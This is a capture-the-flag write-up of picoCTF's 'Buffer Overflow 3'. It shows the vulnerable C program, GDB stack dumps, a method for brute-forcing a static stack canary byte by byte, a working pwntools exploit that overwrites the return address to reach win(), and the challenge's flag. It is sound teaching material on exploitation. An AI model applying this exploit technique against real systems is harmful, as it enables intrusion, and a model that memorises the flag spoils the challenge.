picoCTF

Buffer Overflow 3 [300 pts]

 Challenge Description

Challenge Description:

Do you think you can bypass the protection and get the flag?
It looks like Dr. Oswal added a stack canary to this program to protect against buffer overflows. You can view source here. And connect with it using:
nc saturn.picoctf.net [port #]


We’re given an ELF binary and a C source file. Here’s the C source:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <wchar.h>
#include <locale.h>

#define BUFSIZE 64
#define FLAGSIZE 64
#define CANARY_SIZE 4

void win() {
  char buf[FLAGSIZE];
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("%s %s", "Please create 'flag.txt' in this directory with your",
                    "own debugging flag.\n");
    fflush(stdout);
    exit(0);
  }

  fgets(buf,FLAGSIZE,f); // size bound read
  puts(buf);
  fflush(stdout);
}

char global_canary[CANARY_SIZE];
void read_canary() {
  FILE *f = fopen("canary.txt","r");
  if (f == NULL) {
    printf("%s %s", "Please create 'canary.txt' in this directory with your",
                    "own debugging canary.\n");
    fflush(stdout);
    exit(0);
  }

  fread(global_canary,sizeof(char),CANARY_SIZE,f);
  fclose(f);
}

void vuln(){
   char canary[CANARY_SIZE];
   char buf[BUFSIZE];
   char length[BUFSIZE];
   int count;
   int x = 0;
   memcpy(canary,global_canary,CANARY_SIZE);
   printf("How Many Bytes will You Write Into the Buffer?\n> ");
   while (x<BUFSIZE) {
      read(0,length+x,1);
      if (length[x]=='\n') break;
      x++;
   }
   sscanf(length,"%d",&count);

   printf("Input> ");
   read(0,buf,count);

   if (memcmp(canary,global_canary,CANARY_SIZE)) {
      printf("***** Stack Smashing Detected ***** : Canary Value Corrupt!\n"); // crash immediately
      fflush(stdout);
      exit(0);
   }
   printf("Ok... Now Where's the Flag?\n");
   fflush(stdout);
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  
  // Set the gid to the effective gid
  // this prevents /bin/sh from dropping the privileges
  gid_t gid = getegid();
  setresgid(gid, gid, gid);
  read_canary();
  vuln();
  return 0;
}

Firstly, it’s immediately clear this is a classic return-to-win challenge that requires us to override the return register with the address of the win function, as evidenced by the win() function that is never called in the normal program execution.

Secondly, it seems that it’s added a stack canary to the stack. For those who don’t know, a stack canary is a random value set on a stack whose value is checked to ensure that a buffer overflow did not occur. Without knowledge of the canary, an attacker’s buffer overflow would change the stack canary and trigger a Stack Smashing Detected warning.

However, while stack canaries are pretty intimidating, this one isn’t as intimidating. Why? Because stack canaries are typically randomly generated every time a program is executed. This one, however, is not randomly generated. Instead, it is read from canary.txt every single time, meaning that it stays the same between program executions.

Initially, I thought I could brute force the stack canary. However, a quick calculation shows that it isn’t possible.
A stack canary of 4 bytes will have 256^4 possible values, i.e. 2^32, which is equivalent to over a billion possible values – not very brute forceable.

Fortunately, there’s a clever trick we can use to reduce the number of iterations we have to make from 2^32 to just 4 * 2^8.
To demonstrate this, I’ll show with an example instead.

Through dynamic analysis, we can first locate the offset of both the input and the canary on the stack.

First, I created a flag.txt file filled with a fake flag and a canary.txt file filled with 1111 for local testing purposes.
Then, I entered into GDB for vuln and set a breakpoint at *vuln+0x192, i.e. right after our input.
For my input, I entered 4 for the number of bytes to input and aaaa for my input, just so I could find where my string was in the stack.
With x/100x $esp, I quickly found both the location of both the input and the canary:

0xffce6cf0:     0x0804c000      0x0804c000      0x61616161      0x00000000
0xffce6d00:     0xffce6d48      0xf7f9eff4      0x00000001      0x0804c000
0xffce6d10:     0xffce6e34      0xf7fc2b80      0xffce6d48      0x08049480
0xffce6d20:     0x093151a0      0x00000001      0x00000004      0x093151a0
0xffce6d30:     0x00002710      0x0804c000      0x31313131      0x00000001

We can clearly observe that there is an offset of 0x40 bytes between them. Therefore, to overwrite the canary, we simply need add an offset of 0x40 bytes before our canary-guess input.

But, as we discussed before, it would be extremely inefficient to brute force the canary as is.
Fortunately, we don’t actually need to brute force all 4 bytes of the canary at the same time.

Let’s say I change my input to 0x41 a’s. Then, the stack will look like this:

0xfff4feb0:     0x0804c000      0x0804c000      0x61616161      0x61616161
0xfff4fec0:     0x61616161      0x61616161      0x61616161      0x61616161
0xfff4fed0:     0x61616161      0x61616161      0x61616161      0x61616161
0xfff4fee0:     0x61616161      0x61616161      0x61616161      0x61616161
0xfff4fef0:     0x61616161      0x61616161      0x31313161      0x00000002

Take a look at the bytes storing the canary – only the last byte (technically the first byte since little endianness) was changed!

So, what if we test each byte of the canary at a time, starting with the first byte. Changing only the first byte, we can just continuously test if the program outputs Stack Smashing Detected or not. Once it doesn’t we know that we have found the correct byte. The reason for this is, since we’re only changing the first byte, everything else remains the same, and therefore the stack canary will still be correct as long as the first byte is correct!

Once we find the first byte, we can move onto the second byte, simply remembering to append the found first byte to the end of the payload to keep that byte of the stack canary right. We can do this repeatedly to find all 4 bytes of the stack canary.

This program vulnerability demonstrates the weakness of static stack canaries. In fact, our simple solution here is enough to brute force a static/unchanging stack canary of any reasonable length of bytes!

That’s why current stack canaries are randomized for each program execution to ensure that attackers cannot just brute force it like this.

For this problem though, now that we know how to brute force the stack canary, all that’s left to do is locate the eip (return address pointer) on the stack and overwrite it with the win() function’s address so that, when the vuln() function returns, it will return to the win() function instead and give us the flag!

A simple GDB command of i f gives us where the value of eip is stored. A simple subtraction of the canary address from this address provides us the necessary offset to provide after the canary to overwrite the eip. All that’s left now is to write an exploit program with pwntools to brute force the canary and return-to-win to get the flag!

from pwn import *

port = 58360

canary = b''
for i in range(4):
        payload = b'a' * 64 + canary
        for j in range(256):
                send = payload + j.to_bytes(1, 'big')
                conn = remote('saturn.picoctf.net', port)
                conn.recv()
                conn.sendline(str(65 + i).encode()) # num bytes to send
                conn.recv()
                conn.sendline(send) # payload
                result = conn.recv()
                conn.close()
                if b'Smashing' not in result:
                        canary += j.to_bytes(1, 'big')
                        print(canary)
                        break

conn = remote('saturn.picoctf.net', port)
winpayload = b'a' * 64 + canary + b'a' * 0x10 + p32(0x08049336)
print(conn.recv())
conn.sendline(str(len(winpayload)).encode())
print(str(len(winpayload)).encode())
print(winpayload)
print(conn.recv())
conn.sendline(winpayload)
print(conn.recv())
print(conn.recv())

The canary turns out to be BiRd and the flag turns out to be:

picoCTF{Stat1C_c4n4r13s_4R3_b4D_14b7d39c}